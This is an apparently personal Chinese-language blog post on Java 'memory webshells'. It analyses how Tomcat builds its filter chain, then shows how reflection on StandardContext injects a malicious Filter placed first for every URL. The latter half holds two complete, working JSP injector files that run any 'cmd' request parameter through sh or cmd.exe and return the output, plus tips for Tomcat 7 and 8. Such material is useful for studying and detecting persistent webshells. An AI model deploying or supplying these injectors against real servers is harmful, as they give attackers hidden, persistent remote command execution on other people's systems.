type
Post
status
Published
date
Dec 16, 2022
slug
summary
tags
内存马
Java
category
技术分享
icon
password
Property
Feb 9, 2023 07:38 AM
0x01 咩系Filter
Filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。
如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行。当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
0x02 Filter点做野
1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在
Filter.doFilter
方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter
方法来激活目标 Servlet 的 service 方法,FilterChain
对象时通过 Filter.doFilter
方法的参数传递进来的。5、只要在
Filter.doFilter
方法中调用 FilterChain.doFilter
方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。6、如果在
Filter.doFilter
方法中没有调用 FilterChain.doFilter
方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。0x03 Filter点解仲唔死
public void init(FilterConfig filterConfig) throws ServletException; //初始化
Filter的创建和销毁由WEB服务器负责,和Servlet程序一样。web 应用程序启动时, web 服务器将创建Filter的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只 会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的
FilterConfig
对象。public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行
doFilter
方法。FilterChain
参数用于访问后续过滤器。public void destroy(); //销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
0x04 相关Filter类
- FilterDefs: 存储着过滤器的实例、配置、描述等基本信息

- FilterChain: Filter链,该对象上的 doFilter 方法能依次调用链上的 Filter

- FilterConfig: 过滤器的配置,主要存放 FilterDef 和 Filter对象等信息

- FilterMaps: 主要存放了 FilterName 和 对应的URLPattern

- ApplicationFilterChain: 调用过滤器链
- ApplicationFilterConfig: 获取过滤器
- ApplicationFilterFactory: 组装过滤器链
- WebXml: 存放web.xml的类
- ContextConfig: 一个web应用的上下文配置类
- StandardContext: 一个web应用上下文(Context接口)的标准实现
- StandardWrapperValve: 一个标准Wrapper的实现。一个上下文一般包括一个或者多个包装器,每一个包装器表示一个servlet。
0x05 Filter 调用链分析
0x05-1 配置debug
所谓filter内存马,就是在web容器中创建了含有恶意代码的filter,在请求传递到servlet前被拦截下来且执行了恶意代码。因此,我们需要了解filter的创建流程。那么现在,让我们先通过调试来看下Filter内部代码实现细节。首先,配置好远程调试环境:
服务端:
startup.bat添加下面一行

IDEA调试端:
做远程debug配置


0x05-2 组装流程分析
我们直接从Filter的组装操作开始调试,在
StandardWrapperValve.java
的172行下断点,然后默认访问下tomcat,便会在此处断下:
跟进
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet)
过程中会调用
(ApplicationFilterChain)req.getFilterChain()
去获取filterchain
,因没配置任何filter所以此时为null
经过
//将被调用的servlet设置进filterchain filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); //获取此上下文的过滤器映射,Context也就是当前的应用 StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps();
判断是否有filterMaps,filterMaps是web.xml的filter相关配置

来看一下
filterMaps
的数据结构
FilterMaps
存放了Filter的名称FilterName
和需要拦截的url的正则表达式urlPattern
。接着往下看,attribute和requestPath即通过
request.getAttribute
来获取url请求的路径,本文中获取到的是/index.jsp
。第一个循环,将相关的路径URL映射过滤器添加到此过滤器链中
for (FilterMap filterMap : filterMaps) {//遍历filterMaps if (!matchDispatcher(filterMap, dispatcher)) { continue; } if (!matchFiltersURL(filterMap, requestPath)) { continue; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)//将filterMaps中的配置实例化为FilterConfig context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig);//在filterChain中添加filterConfig }
第二个循环,添加匹配servlet名称的过滤器

遍历
FilterMap
中的每一项,调用matchDispatcher
,如果url匹配通过,就通过context.findFilterConfig
方法来获取filterConfig
,filterConfig
结构如下:
两次循环后都调用
filterChain.addFilter(filterConfig)
将filterconfig添加到filterchain链中,至此filterChain组装完毕并返回到StandardWrapperValve.java
中
步步跟进,因
swallowOutput = false 和 request.isAsyncDispatching() = false
接着执行
filterChain
的doFilter
方法,内部跟进dofilter方法来到ApplicationFilterChain.java
内部调用了internalDoFilter
方法,我们跟进这个方法
该方法中,获取filter过滤器并执行该过滤器
Filter filter = filterConfig.getFilter(); filter.doFilter(request, response, this);

经过一系列的分析,我们得知
createFilterChain()
通过遍历filterMaps
,根据请求的URL在filterMaps中匹配filter,并在filterConfigs
中找到filter的实例,最终创建filterChain
。
0x05-3 总结
- 根据请求的 URL 从
FilterMaps
中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去
FilterConfigs
中寻找对应名称的FilterConfig
- 找到对应的
FilterConfig
之后添加到FilterChain
中,并且返回FilterChain
filterChain
中调用internalDoFilter
遍历获取 chain 中的FilterConfig
,然后从FilterConfig
中获取 Filter,然后调用 Filter 的doFilter
方法
最开始是从 context 中获取的 FilterMaps,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell。

0x06 如何实现filter型内存马动态注入
从上面的例子简单知道内存马的注入过程,但是实际环境中怎么可能在web.xml中添加对应的恶意Filter类,所以我们需要借用
Java反射
来修改filterConfigs,filterDefs,filterMaps
这三个变量,将我们恶意构造的FilterName
以及对应的urlpattern
存放到FilterMaps
,进而达到利用Filter执行内存注入的操作。实现注入的代码构造流程如下:
1. 创建一个恶意 Filter
2. 利用 FilterDef 对 Filter 进行一个封装
3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
从前面的的分析,可以发现程序在创建过滤器链的时候,发现
StandardContext
的三个成员变量:filterConfigs、filterDefs、filterMaps。这三个变量都和filter有关,那么设法获取Context后修改这三个变量,往这三个变量中添加恶意Filter相关参数,即可完成Filter马的注入。
那么现在要解决的问题就是
- 如何获取这个context对象
- 如何修改
filterConfigs
,filterDefs
,filterMaps
,将恶意类注入
0x06-1 如何获取(StandardContext)context对象
ServletContext
和standardContext
的关系:Tomcat中的对应的ServletContext
实现是ApplicationContext
。

在Web应用中获取的
ServletContext
实际上是ApplicationContextFacade
对象,对ApplicationContext
进行了封装,而ApplicationContext
实例中又包含了StandardContext
实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。通过下面的图可以很清晰的看到两者之间的关系
当我们能直接获取 request 的时候,可以直接将
ServletContext
转为 StandardContext
从而获取 context
。其实也是层层递归取出context字段的值。ServeltContext -> ApplicationContext
//下面几行的目的是为了获取(ApplicationContext)context ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
通过Java反射获取
servletContext
所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
通过
(ApplicationContext)appctx.get(servletContext)
获取(ApplicationContext)context
的内容:
接下来目的是继续获取
(StandardContext)context
的值ApplicationContext -> StandardContext
(ApplicationContext实例中包含了StandardContext实例)Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //上面几行的目的是为了获取(StandradContext)context
通过Java反射获取
applicationContext
所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:
通过
(StandardContext)stdctx.get(servletContext)
获取(StandardContext)context
的内容:
这样就可以获取
(StandardContext)context
对象以上组合起来就是
//从servletContext 获取 applicationContext ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); // ApplicationContext 为 ServletContext 的实现类 //从applicationContext 获取 standardContext ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // 这样我们就获取到了 context StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);
如果没有request对象的话可以从当前线程中获取StandardContext(https://zhuanlan.zhihu.com/p/114625962)
当然也可以从MBean中获取,可以参考下面文章:《TOMCAT FILTER 之动态注入》《通过Mbean获取context》
0x06-2 如何修改filterConfigs、filterDefs、filterMaps
先认识一下以下几个方法:
- addFilterDef:添加一个filterDef到Context

- addFilterMapBefore:添加filterMap到所有filter最前面

- ApplicationFilterConfig:为指定的过滤器构造一个新的 ApplicationFilterConfig

接下来创建一个恶意filter:
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } };
filterDef装载
filterDef类的参数格式

创建对应的FilterDef,实例化一个filterDef对象对恶意filter类及进行装载,即将恶意filter类添加到filterDef中
//定义一些基础属性、类名、filter名等 filterDemo filter = new filterDemo(); FilterDef filterDef = new FilterDef(); //name = filterDemo filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); //添加filterDef到standardContext的filterDefs中 standardContext.addFilterDef(filterDef);
filterMap装载
filterMap类的参数格式

实例化一个FilterMap对象,并将filterMap到所有filter最前面
////创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/* FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //添加我们的filterMap到所有filter最前面 standardContext.addFilterMapBefore(filterMap);
filterConfigs装载
获取上下文中 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);

下面通过Java反射来获得构造器(Constructor)对象并调用其
newInstance()
方法创建创建FilterConfig
。先调用ApplicationFilterConfig.class.getDeclaredConstructor
方法,根据context.class
与filterDef.class
两种参数类型寻找对应的构造方法,获取一个Constructor
类对象。然后通过newInstance(standardContext, filterDef)
来创建一个实例。Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
最后将恶意的filter名和配置好的filterConfig传入
//将filterConfig存入filterConfigs,等待filterchain.dofilter的调用 filterConfigs.put(name, filterConfig);
至此,我们的恶意filter已经全部装载完成。
0x06-3 总结
增加Filter的方式分为4个步骤
- 通过反射从
ApplicationContextFacade
中获取到当前的StandardContext
,从StandardContext
获取到filterConfigs
- 封装
Filter
为FilterDef
,并添加到StandContext
中
- 生成新的
ApplicationFilterConfig
并添加到filterConfigs
中
- 创建
FilterMap
并加入StandardContext
中,为Filter
确定适用的URL
梳理一遍代码构造流程图:

0x07 Filter内存马动态注入效果
Demo1 - filtershell.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "shell"; // 获取上下文,即standardContext ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //获取上下文中 filterConfigs Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); //创建恶意filter if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }; //创建对应的FilterDef FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); //创建对应的FilterMap,并将其放在最前 FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); //调用反射方法,去创建filterConfig实例 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); //将filterConfig存入filterConfigs,等待filterchain.dofilter的调用 filterConfigs.put(name, filterConfig); out.print("Inject Success !"); } %> <html> <head> <title>Title</title> </head> <body> </body> </html>
或
Demo2 - filtershell.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "FilterAgent"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
最后以落地文件式注入内存马效果图如下:


❗利用的时候要注意的是
tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不一样 <!-- tomcat 8/9 --> <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap" <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" --> <!-- tomcat 7 --> <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %>
再看一下注入filter内存马之后的filter链,从以下filterconfig、filterchain、filterdef中可以看到我们的filter内存马成功注入,且这个名为shell的filter确实被放在了第一位


- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/e0a0392e-b757-4d27-8ad4-ad4be6b4f0ca
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts